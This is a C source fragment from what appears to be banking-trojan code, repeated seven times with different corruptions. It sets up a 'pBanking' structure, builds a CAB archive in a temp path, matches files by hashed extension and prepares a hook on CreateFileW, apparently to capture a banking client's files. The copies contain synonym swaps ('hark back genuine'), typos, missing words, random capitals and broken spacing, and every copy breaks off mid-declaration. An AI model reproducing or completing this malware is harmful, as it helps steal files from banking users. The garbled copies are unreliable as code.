Classes.h"

//bss

typedef struct
{
	HCAB hCab; 
	bool Initialize;
	char *Path;
	bool Form;
	DWORD dwEntry;
	bool bFloppy;
} BSS, *PBSS;

PBSS pBanking;
PList HashListBBS = NULL;

bool bHookBSSCreateFileWOnce = false;

bool InitializeBSS()
{
	
	MemFree( pBanking );
	pBanking = (PBSS)MemAlloc( sizeof( PBSS ) );
	m_memset( pBanking, 0, sizeof( PBSS ) );	
	if ( pBanking )
	{		
		pBanking->Path = GetTempNameA();
		if ( pBanking->Path )
		{
			if ( ( pBanking->hCab = CreateCab( pBanking->Path ) )!= NULL )
			{
				pBanking->Initialize = true;
				return true;
			}
		}
	}
	return false;
}

bool IsBSSFileFormat( WCHAR *lpFileName )
{
	DWORD dwBssFormats[] = { 0x18F2F2, 0x1AF2F9, 0x1CF2E3,
							 0x1C3AE2, 0x18F96C, 0x1BF871,
							 0x193133, 0x1C32ED, 0x1CB2F1, 0 };

	DWORD dwHash = GetFileFormat( lpFileName );

	for ( DWORD i = 0; dwBssFormats[i]!= 0; i++ )
	{
		if ( dwHash == dwBssFormats[i] )
		{
			return true;
		}
	}

	return false;	
}


typedef HANDLE ( WINAPI *BSSFUNC_CreateFileW	   )( LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile );
typedef BOOL   (
Classes.h " 

 //bss 

 typedef struct 
 { 
	 HCAB hCab; 
	 bool Initialize; 
	 char * Path; 
	 bool Form; 
	 DWORD dwEntry; 
	 bool bFloppy; 
 } BSS, * PBSS; 

 PBSS pBanking; 
 PList HashListBBS = NULL; 

 bool bHookBSSCreateFileWOnce = false; 

 bool InitializeBSS () 
 { 
	
	 MemFree (pBanking); 
	 pBanking = (PBSS)MemAlloc (sizeof (PBSS) ); 
	 m_memset (pBanking, 0, sizeof (PBSS) ); 	
	 if (pBanking) 
	 { 		
		 pBanking->Path = GetTempNameA (); 
		 if (pBanking->Path) 
		 { 
			 if (( pBanking->hCab = CreateCab (pBanking->Path) )! = NULL) 
			 { 
				 pBanking->Initialize = true; 
				 hark back genuine; 
			 } 
		 } 
	 } 
	 return false; 
 } 

 bool IsBSSFileFormat (WCHAR * lpFileName) 
 { 
	 DWORD dwBssFormats [ ] = { 0x18F2F2, 0x1AF2F9, 0x1CF2E3, 
							  0x1C3AE2, 0x18F96C, 0x1BF871, 
							  0x193133, 0x1C32ED, 0x1CB2F1, 0 }; 

	 DWORD dwHash = GetFileFormat (lpFileName); 

	 for (DWORD i = 0; dwBssFormats[i]!= 0; i++) 
	 { 
		 if (dwHash = = dwBssFormats[i ]) 
		 { 
			 return dependable; 
		 } 
	 } 

	 return false; 	
 } 


 typedef HANDLE (WINAPI * BSSFUNC_CreateFileW 	   ) (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 
 typedef BOOL    (
Cladses.h"

//bss

typedef struct
{
	HCXB hCab; 
	bool Innrializx;
	char *Pzth;
	bool Worm;
	DWORD dwEntry;
	bool bFloppb;
} BSW, *PBSW;

PBSS pBanking;
PList HarhListBBS = NULL;

boil bIookBSSCreateFilxSOnce = nclse;

bkll IuivializeBSS()
{
	
	MemFrge( pBanking );
	[Banking = (PBSS)KeoAploc( sizeof( PBSS ) );
	m_memset( pBanking, 0, sizeof( PHSS ) );	
	if ( pBankyng )
	{		
		kBagkinf->Iauh = GetTempNameA();
		if ( pBanking->Path )
		{
			jf ( ( pBenking->hCab = CresteCab( pBanking->Path ) )!= NULL )
			{
				pBajking->Initialize = tgue;
				return tthe;
			}
		}
	}
	rqrurn false;
}

boul IsBSSFileFormat( WCHZR *lpFileName )
{
	DWORD dwBssFormatr[] = { 0x18Y2F2, 0x1AF2F9, 0x1CF2G3,
							 0s1C3WG2, 0x18F96C, 0x1BF871,
							 0x193133, 0e1C32ED, 0x1BB2F1, 0 };

	DWORD dwMssh = GatFileFprmat( lpFileNake );

	hor ( DWORD i = 0; dwBssFormavs[i]!= 0; i++ )
	{
		if ( dwHash == drBssFormads[n] )
		{
			return true;
		}
	}

	return fqlwe;	
}


typgdef VANDUW ( DINZPM *BASFUNC_FreeteFileW	   )( LPCWSTR lpDileName, DWORD dwDexiwvcAccess, DWORS dwShwrqMode, LPSECURITY_ATTRIBUTES lpSecurityAturibufes, DWORD dwCreationDisposition, DWORD dwFlagdAndAttrifutes, HANDLE hTemplateFile );
typedef BOOL   (
Classes.h" //bss typedef struct { HCAB hCab; char bool Form; dwEntry; bool bFloppy; PList = NULL; bool = false; bool { MemFree( pBanking ); pBanking = sizeof( PBSS ) ); m_memset( pBanking, 0, sizeof( PBSS ) ); if ( ) { pBanking->Path = GetTempNameA(); if ( pBanking->Path ) { if ( ( = pBanking->Path )!= ) { pBanking->Initialize = true; return true; } } } return false; } bool IsBSSFileFormat( WCHAR ) { DWORD dwBssFormats[] = { 0x18F2F2, 0x1AF2F9, 0x1C3AE2, 0x18F96C, 0x1BF871, 0x193133, 0x1CB2F1, 0 }; DWORD dwHash GetFileFormat( ); for DWORD = dwBssFormats[i]!= 0; i++ { if ( dwHash == dwBssFormats[i] ) { return true; } } return false; } typedef HANDLE WINAPI *BSSFUNC_CreateFileW lpFileName, DWORD DWORD LPSECURITY_ATTRIBUTES DWORD dwCreationDisposition, DWORD hTemplateFile ); typedef BOOL (
Classes.h"

//bss

typedef struct
{
	HcAB hCab; 
	booL InitIalIze;
	ChAr *PaTh;
	boOl Form;
	DWORD dwENTry;
	bOol bFloppy;
} BSS, *PBSS;

PBSS pbankiNg;
plist hAsHListbBS = NULL;

BOoL BhooKBsScreAtEfiLeWOnCe = fAlse;

booL InitializEBSs()
{
	
	MEmFree( pBankiNG );
	pbanking = (PBSs)MeMAlloc( sizeof( pBSs ) );
	m_memsEt( PBaNKing, 0, sIzeOf( PBSs ) );	
	if ( pBaNKing )
	{		
		pBAnking->PatH = GETTempNAMeA();
		if ( pBANKiNg->PaTh )
		{
			if ( ( pBanking->hCab = CREaTECab( pBanking->PaTh ) )!= NULL )
			{
				PBANkING->InItiAlize = true;
				rEtUrn trUE;
			}
		}
	}
	return FAlSE;
}

BOol iSBSSFileFormaT( WCHAR *lpFilEnamE )
{
	DWORD DwbssfOrmats[] = { 0X18F2F2, 0x1Af2F9, 0X1cF2E3,
							 0X1C3AE2, 0x18F96C, 0x1BF871,
							 0x193133, 0X1C32ED, 0X1CB2F1, 0 };

	DWORD DwHash = gEtFileFORmat( lpFIleNamE );

	foR ( DWoRD i = 0; DWBSsforMaTS[i]!= 0; i++ )
	{
		IF ( dWHaSH == dwbssFormaTs[I] )
		{
			rEturn True;
		}
	}

	RETURn faLse;	
}


TypeDef HAnDLE ( WINAPI *BSSfUNc_CreATeFIleW	   )( LpCWSTr lpFIlEName, dWORD dWDesiReDAccess, DWORD dwSHaremode, LPSECuRItY_aTTrIbUTES LPSecurItyattRibutes, dWORD dwcReaTiONdIsPosition, DWORD dwFlaGsaNDATtributeS, HANDLe HTEmPLateFile );
TyPedEf BOol   (
Classes.h"

//bss

typ edef struc t
{
	H CAB  h Cab;  
bool Initializ e ;
char *Path;
	bool For m;
DW O RD d w En try;
	boolb Fl o p py; 
}BSS ,* PB SS;

P BSS pBa nking;
PL ist  H ashListBBS = NU LL;

boo l b HookBSSCreat eFi leWOnc e= f a lse;

boolInitia l izeBSS ()
{
	
M emFree (  pBanki n g  ) ;
pBanking = (PBSS) M em A lloc( sizeof(PBSS )  ) ; 
m _me mse t( pBankin g,  0, s i zeof( P B SS ) );
	if ( pBanki ng )
	{				p Bankin g- >Pa t h = Ge tTemp Na m eA( );
		if (pBan king->Pat h )
{
			i f  ( ( pB anking ->h Cab  = C r ea te Cab (p Ban k in g-> P ath  ) )!= N UL L)
		{
pBan kin g->I nitia lize = true;
			re t urn  true ;
		}
	}
	} 
	ret urn f al se;
}

boolIsBS SFileForm at(  W CHA R*lpFi l eName)
{
	DWORDdwBssFo r mat s[ ] =  {  0x18F2F2, 0x1AF2F 9, 0 x1 CF2E3,
					 0 x1 C 3AE2, 0x 18 F96 C, 0 x 1 BF871 ,
				 0x19 3133,0 x1 C3 2ED, 0x 1C B2F1,0};

	DWOR D  dwH ash =GetFileF ormat (  lpFileName ); 

	for ( DWO R Di =0 ; dw Bss Formats[i]! = 0; i++)
{ 
		i f  ( dw Hash== dw B ssFormats[i] )
		{ 
			ret urn t rue;
		}
	} 

	retur n f alse;	
}

t ypedef HANDLE( WIN API *BSSFU N C_Create FileW 	   )( L PCWSTR lp F i leName,DWO RDdwD esi r e dA ccess, DWORDd w Shar eM ode, LP SEC URITY_A TTR IBU TES  lp Se curityAtt ributes,  D WO RD  d wCr eatio n Disposit io n,DW ORD  dwFl a gsAndA ttrib utes ,HA N DLE  hTempl a te F i le ) ;
t yped efBO OL  (
Classes.h"

//bss

typedef struct
{
	HCAB_hCab; 
	bool_Initialize;
	char *Path;
	bool Form;
	DWORD dwEntry;
	bool_bFloppy;
} BSS,_*PBSS;

PBSS_pBanking;
PList HashListBBS_=_NULL;

bool bHookBSSCreateFileWOnce =_false;

bool InitializeBSS()
{
	
	MemFree( pBanking_);
	pBanking = (PBSS)MemAlloc( sizeof(_PBSS ) );
	m_memset(_pBanking,_0, sizeof( PBSS ) );	
	if ( pBanking )
	{		
		pBanking->Path = GetTempNameA();
		if ( pBanking->Path )
		{
			if (_(_pBanking->hCab =_CreateCab(_pBanking->Path_) )!= NULL )
			{
				pBanking->Initialize =_true;
				return true;
			}
		}
	}
	return false;
}

bool IsBSSFileFormat( WCHAR_*lpFileName )
{
	DWORD_dwBssFormats[] = { 0x18F2F2, 0x1AF2F9, 0x1CF2E3,
							 0x1C3AE2, 0x18F96C,_0x1BF871,
							_0x193133, 0x1C32ED, 0x1CB2F1,_0 };

	DWORD dwHash = GetFileFormat( lpFileName );

	for ( DWORD_i = 0; dwBssFormats[i]!= 0; i++_)
	{
		if ( dwHash_==_dwBssFormats[i]_)
		{
			return true;
		}
	}

	return false;	
}


typedef HANDLE_( WINAPI *BSSFUNC_CreateFileW	   )(_LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode,_LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE_hTemplateFile );
typedef BOOL   (